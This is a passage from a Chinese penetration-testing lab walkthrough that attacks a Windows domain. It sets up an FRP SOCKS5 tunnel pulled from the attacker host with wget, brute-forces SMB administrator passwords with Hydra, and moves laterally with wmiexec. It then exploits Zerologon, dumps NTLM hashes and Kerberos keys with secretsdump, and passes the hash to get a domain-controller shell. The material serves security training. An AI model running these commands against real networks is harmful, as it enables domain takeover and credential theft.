当工具访问内网目标(如
192.168.93.10)时,流量被发送到本地的12347端口。 -
frps 通过已建立的控制通道,将流量转发给跳板机上的 frpc。
-
frpc 最终以跳板机的身份,直接访问内网目标,并将响应数据沿原路返回给攻击工具
flowchart LR
subgraph A [攻击机 Kali
192.168.59.128]
direction TB
A1[攻击工具
浏览器/扫描器]
A2[frps
7000端口]
A3[SOCKS5代理服务
12347端口]A1 -- "配置代理: 127.0.0.1:12347" --> A3 A3 -- "数据转发" --> A2 end B[跳板机<br>192.168.59.188<br>运行frpc] C[内网设备<br>192.168.93.0/24] A -- "1. 建立控制通道<br>7000端口" --> B B -- "2. 发起内网访问" --> C
-
2、服务器(KALI攻击机)
-
核心角色:FRP服务端,用于接收和管理客户端连接。
-
监听端口 :
7000,负责与FRP客户端建立控制通道。 -
启动命令 :
./frps -c frps.ini,运行FRP服务端程序。 -
功能:认证并维持与跳板机的稳定连接,为后续代理转发提供基础。
(1)配置文件frps.ini
|-----------------|
| bindPort = 7000 |
(2)kali执行frps
./frps -c frps.ini
3、客户端(Web跳板机)
-
核心角色:FRP客户端与服务提供端。
-
连接配置 :指向Kali服务器(
server_addr = 192.168.59.128:7000)。 -
服务定义 :创建了一个名为
[socks5]的代理服务。-
类型 :
type = tcp。 -
出口端口 :
remote_port = 12347,在Kali服务器上开启的Socks5代理服务端口。 -
插件 :
plugin = socks5,直接提供Socks5代理协议支持。
-
-
功能:在Kali的12347端口上暴露一个Socks5代理,所有发往该端口的流量都会被加密转发至跳板机,并由跳板机转发至其所在的内网(192.168.93.0/24)。
(1)配置文件frpc.ini
|----------------------------------------------------------------------------------------------------------------------|
| [common] server_addr = 192.168.59.128 server_port = 7000 [socks5] type = tcp remote_port = 12347 plugin = socks5 |
(2)Web服务器下载frpc文件
Kali攻击机在frpc的目录中开启http服务(或者将frpc和frpc.ini文件放入到已经开启的Web服务根目录中也可以),Web服务器下载frpc和frpc.ini文件,具体如下所示。
wget http://192.168.59.128:8888/frpc
wget http://192.168.59.128:8888/frpc.ini
(3)Web服务器执行frpc
./frpc -c frpc.ini&
4、Kali配置proxychains
配置proxychains文件使用socks5 0.0.0.0 12347代理,该配置指示proxychains工具将所有网络流量通过位于本机所有接口上的SOCKS5代理服务器(端口12347)进行转发,实现网络访问的匿名化与流量路由,用于连接内网192.168.93.0/24网段。
socks5 0.0.0.0 12347
八、SMB爆破(域成员)
1、探测SMB
使用Metasploit框架中的SMB版本扫描模块,对192.168.93.10到192.168.93.30这个IP范围内的所有主机进行扫描,目的是探测和识别这些主机的SMB服务版本信息、操作系统类型、主机名、域信息等详细指纹信息。
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.10-30
run
运行结果如下所示,根据扫描结果,网络中存在三台Windows主机,192.168.93.20(Windows Server 2008 SP2)、192.168.93.30(Windows 7 SP1)、192.168.93.10(Windows Server 2012 R2)。
[*] 192.168.93.10:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.0.2) (signatures:required) (uptime:47m 16s) (guid:{7130fc44-65bc-44e6-8bc7-afd0ff0bc450}) (authentication domain:TEST)
[+] 192.168.93.10:445 - Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST)
[*] 192.168.93.10-30: - Scanned 3 of 21 hosts (14% complete)
[*] 192.168.93.10-30: - Scanned 5 of 21 hosts (23% complete)
[*] 192.168.93.10-30: - Scanned 7 of 21 hosts (33% complete)
[*] 192.168.93.10-30: - Scanned 9 of 21 hosts (42% complete)
[*] 192.168.93.20:445 - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.0.2) (signatures:optional) (uptime:302w 6d 22h 0m 9s) (guid:{f9644969-0bf4-48c7-ab87-58ba8044ed81})
[+] 192.168.93.20:445 - Host is running Windows 2008 Datacenter SP2 (build:6003) (name:WIN2008) (domain:TEST)
[*] 192.168.93.10-30: - Scanned 11 of 21 hosts (52% complete)
[*] 192.168.93.10-30: - Scanned 13 of 21 hosts (61% complete)
[*] 192.168.93.10-30: - Scanned 15 of 21 hosts (71% complete)
[*] 192.168.93.10-30: - Scanned 17 of 21 hosts (80% complete)
[*] 192.168.93.10-30: - Scanned 19 of 21 hosts (90% complete)
[*] 192.168.93.30:445 - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:309w 2d 18h 47m 41s) (guid:{5cc9a08c-4395-4e1d-95be-f93ec2195144}) (authentication domain:TEST)
[+] 192.168.93.30:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST)
[*] 192.168.93.10-30: - Scanned 21 of 21 hosts (100% complete)
(1)目标1: 192.168.93.10 - Windows Server 2012 R2
- 系统: Windows 2012 R2 Datacenter (build 9600)
- SMB版本: 1, 2, 3 (首选SMB 3.0.2)
- 签名: 必需 (required)
- 运行时间: 47分钟 (可能是新启动的)
- 域名: TEST
(2)目标2: 192.168.93.20 - Windows Server 2008
- 系统: Windows 2008 Datacenter SP2 (build 6003)
- SMB版本: 1, 2 (首选SMB 2.0.2)
- 签名: 可选 (optional) - 更容易攻击!
- 运行时间: 302周 (系统很久没重启)
- 域名: TEST
(3)目标3: 192.168.93.30 - Windows 7
- 系统: Windows 7 Professional SP1 (build 7601)
- SMB版本: 1, 2 (首选SMB 2.1)
- 签名: 可选 (optional) - 更容易攻击!
- 运行时间: 309周 (系统很久没重启)
- 域名: TEST
2、构造密码字典
构造密码字典,使用top1000.txt,哈哈,本关卡要想爆破成功,需要至少包含红框内的密码123qwe!ASD,没有的话会导致10和30爆破失败。
将top1000.txt密码字典放入kali linux的当前terminal的目录中。
3、爆破SMB密码
(1)爆破192.168.93.20(WinServer 2008)
通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.20的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。
proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.20
发现密码为123qwe!ASD,具体如下所示。
(2)爆破192.168.93.30(PC Win7)
通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.30的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。
proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.30
发现密码为123qwe!ASD,具体如下所示。
(3)爆破192.168.93.10(WinServer 2012)
通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.10的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。但是本次探测失败,没有找到密码。
proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.10。
九、横向渗透
1、Wmiexec横向移动192.168.93.30(PC Win7)
通过proxychains4代理隧道调用Impacket工具集中的wmiexec.py脚本,使用获取的凭证(administrator:123qwe!ASD)通过Windows管理规范协议与内网主机192.168.93.20建立带调试信息的远程命令行会话,实现无需上传恶意文件的内网横向移动,如下所示渗透成功。
proxychains4 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.30'
2、Wmiexec横向移动192.168.93.20(WinServer2008)
通过proxychains4代理隧道调用Impacket工具集中的wmiexec.py脚本,使用获取的凭证(administrator:123qwe!ASD)通过Windows管理规范协议与内网主机192.168.93.20建立带调试信息的远程命令行会话,实现无需上传恶意文件的内网横向移动,如下所示渗透成功。
proxychains4 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
3、zerologon渗透域控192.168.93.10
(1)探测漏洞
根据30上执行结果,可知域名为test,域控为WIN-8GA56TNV3MV (IP: 192.168.93.10)
(2)置空密码
proxychains -q python set_empty_pw.py WIN-8GA56TNV3MV 192.168.93.10
|---|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---|
| |
| | ┌──(kali㉿kali)-[~/Desktop/zerologon] └─ proxychains -q python set_empty_pw.py WIN-8GA56TNV3MV 192.168.93.10 Performing authentication attempts... NetrServerAuthenticate3Response ServerCredential: Data: b's\\xec}\\x8e\\x99\\xde\\x1d\\xf4' NegotiateFlags: 556793855 AccountRid: 1001 ErrorCode: 0 server challenge b's\\xe4{f\\xcc\\xab\\x99\\xa8' NetrServerPasswordSet2Response ReturnAuthenticator: Credential: Data: b'\\x01\\x04\\x9d-\xc2y\x05' Timestamp: 0 ErrorCode: 0 Success! DC should now have the empty string as its machine password. | |
(3)打印哈希
proxychains -q secretsdump.py -no-pass -just-dc test/WIN-8GA56TNV3MV$\@192.168.93.10(linux系统)
|---|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---|
| | └─ proxychains -q secretsdump.py -no-pass -just-dc test/WIN-8GA56TNV3MV\@192.168.93.10 /usr/lib/python3/dist-packages/pkg_resources/init.py:116: PkgResourcesDeprecationWarning: 1.12.1-git20200711.33e2d80-dfsg1-0.6 is an invalid version and will not be supported in a future release warnings.warn( /usr/lib/python3/dist-packages/pkg_resources/init.py:116: PkgResourcesDeprecationWarning: 1.16.0-unknown is an invalid version and will not be supported in a future release warnings.warn( Impacket v0.13.0.dev0+20250717.50134.1f00d556 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:571bcade06358cf8ea77e8418e857355::: test.org\win7:1104:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1::: test.org\win2008:1105:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1::: WIN-8GA56TNV3MV:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WIN2008:1106:aad3b435b51404eeaad3b435b51404ee:c47b1f47431b259861e615472864c698::: WIN7:1107:aad3b435b51404eeaad3b435b51404ee:ccebf3bb47b3c8b7605ffa55aacf3bae::: \[\*\] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:eede88728a78032cf9f5ca18c315f190348890da2ec5d433e66200a87cf826b0 Administrator:aes128-cts-hmac-sha1-96:576e4a136133e69e019b4fa2db8f7de1 Administrator:des-cbc-md5:e93e94192a8f236b krbtgt:aes256-cts-hmac-sha1-96:6ad4f1e53f2b19a874201fbf002c9b1895c05cdbf418052601f282ccaba34500 krbtgt:aes128-cts-hmac-sha1-96:25dcb51ac50803a0bd4d93549b07d9ca krbtgt:des-cbc-md5:c275c27a45a2757c test.org\\win7:aes256-cts-hmac-sha1-96:db6b997b316503f887492885d0610a3fc5aa3a20c181f675fc918e167ca9a73a test.org\\win7:aes128-cts-hmac-sha1-96:ae208f45cc3723ff7b6720284173c61b test.org\\win7:des-cbc-md5:6eb3cb707f75cd1f test.org\\win2008:aes256-cts-hmac-sha1-96:b18a1fe3050c99ac441aae11fb4943951496857f569cb390dbd733278b4f258f test.org\\win2008:aes128-cts-hmac-sha1-96:3f3d51fc133d11577bbd1d091a49ca9b test.org\\win2008:des-cbc-md5:85bc2623b90738ea WIN-8GA56TNV3MV:aes256-cts-hmac-sha1-96:f87e2e3ecde86f8cdc5d8e6daa473017e77d20a4a8b36c0474042971f6351c90 WIN-8GA56TNV3MV:aes128-cts-hmac-sha1-96:ddba0f36c666f0599097ebc032eaeee7 WIN-8GA56TNV3MV:des-cbc-md5:46c2f2feabe0e38a WIN2008:aes256-cts-hmac-sha1-96:b2f49e27d19765f2853c261a3fcfd52de8fec3969fed71d1a70c11475eb00016 WIN2008:aes128-cts-hmac-sha1-96:a82e48cb161c634bc30a0c1ad4733cfb WIN2008:des-cbc-md5:df6b0e5dd35e735b WIN7:aes256-cts-hmac-sha1-96:f9497f453425611e8d6d9762fa99dae808c67ccd545876992ecde3f87dc7cd17 WIN7:aes128-cts-hmac-sha1-96:34c7c3f435df4ecb15dfdd0aeb578efe WIN7:des-cbc-md5:3d9dfe8f2f522fad [*] Cleaning up... | |
| |
如下所示,成功获取到aministrator的ntlm值
Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97:::
哈希值18edd0cc3227be3bf61ce198835a1d97
(4)PTH获取域控控制权限
proxychains -q wmiexec.py test/administrator@192.168.93.10 -hashes aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97
如下所示,成功getshell.
(5)恢复密码
proxychains -q python reinstall_original_pw.py WIN-8GA56TNV3MV 192.168.93.10 aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97
proxychains -q python reinstall_original_pw.py WIN-8GA56TNV3MV 192.168.93.10 aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97
Performing authentication attempts...
============================================================================================================================================================================================================================================================================================================================================================================================================================================================
NetrServerAuthenticate3Response
ServerCredential:
Data: b'}\x05\x7f@\xd6tB\x1e'
NegotiateFlags: 556793855
AccountRid: 1001
ErrorCode: 0
server challenge b'}\x87\x91\xd1"\x15>\xcf'
session key b'7\x9b\x85t\xea\x07\x16\xf0\xd6\xe8\x95N\x98\xa4"\x10'
Odd-length string
Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.